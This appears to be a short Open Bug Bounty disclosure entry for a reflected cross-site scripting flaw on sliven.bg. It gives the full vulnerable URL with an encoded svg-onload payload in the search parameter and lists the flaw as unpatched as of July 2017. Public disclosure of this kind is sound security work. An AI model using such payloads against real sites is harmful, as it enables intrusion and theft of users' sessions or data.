sliven.bg XSS vulnerability

Vulnerable URL: http://www.sliven.bg/index.csp?s=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1233749 VIP website...